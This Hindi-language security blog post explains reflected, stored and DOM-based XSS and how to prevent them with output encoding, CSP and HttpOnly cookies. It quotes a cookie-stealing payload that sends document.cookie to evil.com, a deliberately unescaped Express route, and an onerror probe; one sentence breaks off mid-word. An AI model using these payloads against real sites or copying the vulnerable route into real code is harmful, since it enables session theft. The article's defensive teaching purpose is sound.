arrow_backफ़ील्ड नोट्स पर वापस जाएँ
WEB SECURITY प्रकाशित 9 Aug 2026

Cross-Site Scripting: XSS 2024 में भी क्यों काम करता है

Reflected, stored, और DOM-based XSS का व्यावहारिक विश्लेषण, कैसे हमलावर इसका शोषण करते हैं, और इसे वास्तव में कैसे रोकें।

XSS दो दशक से OWASP Top 10 में है और यह अभी भी वह पहली चीज़ है जो एक pentester जांचता है। बग को समझाना सरल है लेकिन पूरी तरह बंद करना कठिन है: हमलावर अपना JavaScript आपकी साइट की origin के तहत पीड़ित के ब्राउज़र में चलवा देता है। एक बार ऐसा होने के बाद, वह cookies पढ़ सकता है, requests जाली कर सकता है, या पूरे पृष्ठ को उपयोगकर्ता के सामने फिर से लिख सकता है।

तीन प्रकार

Reflected XSS पारंपरिक phishing-link attack है। एक search page URL से ?q= लेता है और इसे encoding के बिना सीधे HTML में प्रिंट कर देता है। https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> जैसा लिंक किसी को भेजें और अगर वह logged in रहते हुए इस पर क्लिक करे, तो उनका session cookie हमलावर के पास चला जाता है।

Stored XSS ज्यादा बुरा है क्योंकि इसे लिंक की जरूरत नहीं है। एक comment field, प्रोफाइल bio, support ticket description — कहीं भी user input save होता है और बाद में दूसरे उपयोगकर्ताओं को दिखाया जाता है। payload एक बार post करें और जो भी उस पृष्ठ को देखता है, हर visitor को hit मिलता है, कोई सामाजिक इंजीनियरिंग नहीं चाहिए।

DOM-based XSS पूरी तरह client-side code में रहता है। server को malicious payload कभी नहीं दिखता; यह JavaScript है जो location.hash या document.referrer जैसी चीज़ पढ़ रहा है और इसे innerHTML या eval() में डाल रहा है। यह लोगों को confuse करता है क्योंकि server-side logging पूरी तरह clean दिखता है।

यह वास्तव में कहां से आता है

अधिकांश XSS bugs एक गलती तक उबलते हैं: untrusted data को trusted markup या code मानना। JavaScript में देखने के लिए common sinks: innerHTML, outerHTML, document.write, eval, string argument के साथ setTimeout, और jQuery का .html()। Server side पर, template engines जो default द्वारा auto-escape नहीं करते (HTML में raw string concatenation) आमतौर पर culprit होते हैं।

एक quick real-world example: एक Node/Express app जो

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

कर रहा हो, को तुरंत reflected XSS है। req.query.name बिना किसी encoding के response में सीधे जाता है। कोई भी /greet?name=<img src=x onerror=alert(document.domain)> hit करके इसे लगभग दो सेकंड में साबित कर सकता है।

इसे वास्तव में ठीक करना

Context-aware output encoding असली fix है, workaround नहीं। HTML body, HTML attribute, JavaScript string, और URL contexts को प्रत्येक को अलग-अलग encoding rules की जरूरत है — OWASP का Java Encoder जैसी library, या Jinja2, React JSX, या Handlebars जैसे template engines में built-in auto-escaping, यह सही तरीके से संभालता है। विशेष रूप से React text content को default द्वारा escape करता है, इसलिए dangerouslySetInnerHTML का नाम यही है: यह एक चेतावनी लेबल है।

Input validation मदद करता है लेकिन अपने आप में पर्याप्त नहीं है। <script> tags को denylisting लगातार bypass हो जाता है — <img src=x onerror=...>, <svg onload=...>, या लगभग किसी भी tag पर event handlers काम करते हैं। expected formats को allowlisting करना (एक email regex, एक numeric ID) एक secondary layer के रूप में ठीक है, लेकिन यह proper output encoding को प्रतिस्थापित नहीं करता है।

Content-Security-Policy सबसे मजबूत defense-in-depth layer है जो उपलब्ध है। एक policy जैसे

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

inline scripts और third-party script sources को block करता है जब तक उन्हें explicitly nonce'd या allowlisted न किया जाए, जो अधिकांश XSS payloads को encoding से भी निकल जाने पर execute होने से रोकता है। production CSPs में unsafe-inline और unsafe-eval से बचें; वे अधिकांश सुरक्षा को हराते हैं।

Cookies को HttpOnly और Secure flags के साथ set करें ताकि एक सफल XSS भी document.cookie के माध्यम से सीधे session cookie को न पढ़ सके। यह injection को नहीं रोकता लेकिन यह blast radius को काफी सीमित कर देता है।

स्वयं के लिए इसका परीक्षण करना

Burp Suite का active scanner बहुत से reflected और stored XSS को automatically पकड़ता है, लेकिन DOM-based cases के लिए manual testing अभी भी महत्वपूर्ण है। DOMPurify के अपने test suite जैसे tools या बस अपने codebase में innerHTML = और eval( के लिए grepping तेज़ी से एक surprising number of findings सामने लाएगा। एक manual probe के लिए, payload `

AI सहायता से लिखा गया, माइकल पिल्च (CISSP), Korra Studio द्वारा समीक्षित और प्रकाशित।

आगे बढ़ने के लिए तैयार?

यह Korra Studio के ज्ञान आधार से एक नोट है — प्लेटफ़ॉर्म हर विषय को 1-टू-1 मेंटरिंग के साथ जोड़ता है।

मुफ़्त शुरू करेंarrow_forward